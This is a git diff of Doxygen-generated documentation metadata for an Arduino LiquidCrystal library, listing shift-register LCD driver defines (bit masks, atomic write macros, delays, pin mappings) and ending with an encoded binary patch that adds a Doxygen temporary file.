+_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal___s_r1_w_8h'; + file-name = 'LiquidCrystal_SR1W.h'; + define = { + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r1_w_8h_1a7582c2cf6ceaeddf740f675c8f731ecf'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'SR1W_ATOMIC_WRITE_HIGH'; + define-mem-param = { + define-mem-def-name = 'reg'; + }; /* define-mem-def--param */ + define-mem-param = { + define-mem-def-name = 'mask'; + }; /* define-mem-def--param */ + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +ATOMIC_BLOCK(ATOMIC_RESTORESTATE) { *reg |= mask; } +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + define-mem-desc-line = '294'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r1_w_8h_1a895edbf1947d432e4616bc4592de8cfa'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'SR1W_ATOMIC_WRITE_LOW'; + define-mem-param = { + define-mem-def-name = 'reg'; + }; /* define-mem-def--param */ + define-mem-param = { + define-mem-def-name = 'mask'; + }; /* define-mem-def--param */ + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +ATOMIC_BLOCK(ATOMIC_RESTORESTATE) { *reg &= ~mask; } +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + define-mem-desc-line = '293'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r1_w_8h_1a2bfc90f6a1e21e271196273a8db741af'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'SR1W_BL_MASK'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x20 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + define-mem-desc-line = '289'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r1_w_8h_1a2ee8ae46c168f471666c4aaddbca1ec0'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'SR1W_D4_MASK'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x10 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + define-mem-desc-line = '288'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r1_w_8h_1a159fe0dd329cef231ae7d8ad674adad3'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'SR1W_D5_MASK'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x08 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + define-mem-desc-line = '287'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r1_w_8h_1a5cea156a4ee75a239b094b1c24116140'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'SR1W_D6_MASK'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x04 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + define-mem-desc-line = '286'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r1_w_8h_1a7accf5938d87cf2edbda80b26e0e6f69'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'SR1W_D7_MASK'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x02 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + define-mem-desc-line = '285'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r1_w_8h_1a645c2cb325144756182083dad23498e7'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'SR1W_DELAY'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +{ delayMicroseconds(SR1W_DELAY_US); numDelays++; } +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + define-mem-desc-line = '279'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r1_w_8h_1af142acb4543f9067f60a28d58a49f033'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'SR1W_DELAY_US'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +5 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + define-mem-desc-line = '278'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r1_w_8h_1a6875204445378ad8d8a8ded846cbcbaa'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'SR1W_EN_MASK'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x80 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + define-mem-desc-line = '291'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r1_w_8h_1a874628609b122ed01ccd5e39411f86de'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'SR1W_RS_MASK'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x40 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + define-mem-desc-line = '290'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r1_w_8h_1ae4324c30e18eea1716bd2b0f60027712'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'SR1W_UNUSED_MASK'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x01 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + define-mem-desc-line = '284'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + }; + enum = { + enum-member = { + enum-mem-kind = 'enum'; + enum-mem-id = '_liquid_crystal___s_r1_w_8h_1a31959259c88db00960459461ba423d99'; + enum-mem-virt = normal; + enum-mem-prot = public; + enum-mem-name = 't_sr1w_circuitType'; + enum-mem-enum = { enum-name = SW_CLEAR; }; + enum-mem-enum = { enum-name = HW_CLEAR; }; + enum-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + enum-mem-desc-line = '297'; + enum-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + enum-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* enum-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal___s_r2_w_8cpp'; + file-name = 'LiquidCrystal_SR2W.cpp'; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.cpp'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal___s_r2_w_8h'; + file-name = 'LiquidCrystal_SR2W.h'; + define = { + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r2_w_8h_1a53e3add69865ae57ca872cb41fcae9e3'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'SR2W_BL_MASK'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x02 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + define-mem-desc-line = '132'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r2_w_8h_1a7cf86f2a173473d01e02b2ac786a8690'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'SR2W_DATA_MASK'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x78 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + define-mem-desc-line = '134'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r2_w_8h_1a8d17b6abb5bcde6883dbdc86d34be9d8'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'SR2W_EN_MASK'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x80 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + define-mem-desc-line = '135'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r2_w_8h_1acce98b026d9fdcb2e126705c14af7500'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'SR2W_RS_MASK'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x04 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + define-mem-desc-line = '133'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal___s_r3_w_8cpp'; + file-name = 'LiquidCrystal_SR3W.cpp'; + define = { + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r3_w_8cpp_1a3d9bb178282c3cb69740c94ba1e48fed'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'D4'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp'; + define-mem-desc-line = '126'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract LCD dataline allocation this library only supports 4 bit LCD control + mode. + @discussion D4, D5, D6, D7 LCD data lines pin mapping of the extender module +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r3_w_8cpp_1a2ddd4183d444d6d128cbdbd6269e4e0c'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'D5'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +1 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp'; + define-mem-desc-line = '127'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r3_w_8cpp_1a79a18a7f5ccf7a7ca31f302bd62527a6'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'D6'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +2 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp'; + define-mem-desc-line = '128'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r3_w_8cpp_1a2ba78f059a7ebebc95e7beef690e88d6'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'D7'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +3 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp'; + define-mem-desc-line = '129'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r3_w_8cpp_1a22e6626f2c98ed902f8ded47f6438c05'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'EN'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +4 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp'; + define-mem-desc-line = '104'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Enable bit of the LCD + @discussion Defines the IO of the expander connected to the LCD's Enable +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r3_w_8cpp_1ac059d24dfe9c1e1f7c07cb7869a1833b'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_BACKLIGHT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0xFF +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp'; + define-mem-desc-line = '93'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract LCD_BACKLIGHT + @discussion BACKLIGHT MASK used when backlight is on +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r3_w_8cpp_1a65fa786d6e31fe8b1aa51784a9736581'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_NOBACKLIGHT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x00 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp'; + define-mem-desc-line = '86'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract LCD_NOBACKLIGHT + @discussion No BACKLIGHT MASK +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r3_w_8cpp_1af8903d8eea3868940c60af887473b152'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'RS'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +6 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp'; + define-mem-desc-line = '118'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Register bit of the LCD + @discussion Defines the IO of the expander connected to the LCD's Register select pin +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r3_w_8cpp_1afc4ded33ac0ca43defcce639e965748a'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'RW'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +5 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp'; + define-mem-desc-line = '111'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Read/Write bit of the LCD + @discussion Defines the IO of the expander connected to the LCD's Rw pin +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal___s_r3_w_8h'; + file-name = 'LiquidCrystal_SR3W.h'; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ diff --git a/libraries/NewliquidCrystal/doxygen_entrydb_2806.tmp b/libraries/NewliquidCrystal/doxygen_entrydb_2806.tmp new file mode 100644 index 0000000000000000000000000000000000000000..a9b164c26a9b638f20185ecfb216ee0de80c2f0e GIT binary patch literal 18267046 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 